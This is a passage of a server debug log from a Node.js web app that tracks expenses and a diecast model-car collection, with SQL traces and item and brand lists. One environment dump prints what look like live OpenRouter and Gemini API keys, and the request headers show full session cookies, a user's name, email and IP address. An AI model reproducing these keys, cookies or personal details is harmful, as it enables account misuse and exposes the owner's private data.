    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-29T15:37:37.091Z server-connect:output restrict: undefined
2025-12-29T15:37:37.091Z server-connect:app Executing action step single
2025-12-29T15:37:37.091Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-29T15:37:37.092Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-29T15:40:12.897Z server-connect:router Serving templateView /diecast
2025-12-29T15:40:12.898Z server-connect:app Executing action step identify
2025-12-29T15:40:12.898Z server-connect:app options: { provider: 'security' }
2025-12-29T15:40:12.898Z server-connect:output identity: 1
2025-12-29T15:40:12.898Z server-connect:app Executing action step restrict
2025-12-29T15:40:12.898Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T15:40:12.899Z server-connect:output restrict: undefined
2025-12-29T15:40:12.899Z server-connect:router Render template diecast
2025-12-29T15:40:12.899Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'x-forwarded-for': '49.43.180.93',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-30T15:37:27.096Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.93',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'HTTP_X_FORWARDED-FOR': '49.43.180.93',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-29T15:40:13.146Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-29T15:40:13.148Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-29T15:40:13.149Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-29T15:40:13.150Z server-connect:app Executing action step identify
2025-12-29T15:40:13.150Z server-connect:app options: { provider: 'security' }
2025-12-29T15:40:13.150Z server-connect:output identity: 1
2025-12-29T15:40:13.150Z server-connect:app Executing action step restrict
2025-12-29T15:40:13.150Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:40:13.152Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-29T15:40:13.152Z server-connect:output restrict: undefined
2025-12-29T15:40:13.152Z server-connect:app Executing action step select
2025-12-29T15:40:13.152Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-29T15:40:13.153Z server-connect:app Executing action step identify
2025-12-29T15:40:13.153Z server-connect:app options: { provider: 'security' }
2025-12-29T15:40:13.153Z server-connect:output identity: 1
2025-12-29T15:40:13.153Z server-connect:app Executing action step restrict
2025-12-29T15:40:13.153Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:40:13.153Z server-connect:app Executing action step identify
2025-12-29T15:40:13.153Z server-connect:app options: { provider: 'security' }
2025-12-29T15:40:13.154Z server-connect:output identity: 1
2025-12-29T15:40:13.154Z server-connect:app Executing action step restrict
2025-12-29T15:40:13.154Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:40:13.156Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-29T15:40:13.157Z server-connect:app Executing action step identify
2025-12-29T15:40:13.157Z server-connect:app options: { provider: 'security' }
2025-12-29T15:40:13.157Z server-connect:output identity: 1
2025-12-29T15:40:13.157Z server-connect:app Executing action step restrict
2025-12-29T15:40:13.157Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:40:13.157Z server-connect:output restrict: undefined
2025-12-29T15:40:13.158Z server-connect:app Executing action step select
2025-12-29T15:40:13.158Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-29T15:40:13.158Z server-connect:output restrict: undefined
2025-12-29T15:40:13.158Z server-connect:app Executing action step paged
2025-12-29T15:40:13.158Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-29T15:40:13.159Z server-connect:app Executing action step identify
2025-12-29T15:40:13.159Z server-connect:app options: { provider: 'security' }
2025-12-29T15:40:13.159Z server-connect:output identity: 1
2025-12-29T15:40:13.159Z server-connect:app Executing action step restrict
2025-12-29T15:40:13.159Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:40:13.161Z server-connect:output restrict: undefined
2025-12-29T15:40:13.161Z server-connect:app Executing action step select
2025-12-29T15:40:13.161Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-29T15:40:13.162Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-29T15:40:13.163Z server-connect:output restrict: undefined
2025-12-29T15:40:13.163Z server-connect:app Executing action step select
2025-12-29T15:40:13.163Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-29T15:40:13.163Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-29T15:40:13.166Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-29T15:40:13.169Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-29T15:40:13.169Z server-connect:app Executing action step select
2025-12-29T15:40:13.169Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-29T15:40:13.171Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-29T15:40:13.171Z server-connect:app Executing action step select
2025-12-29T15:40:13.171Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-29T15:40:13.172Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
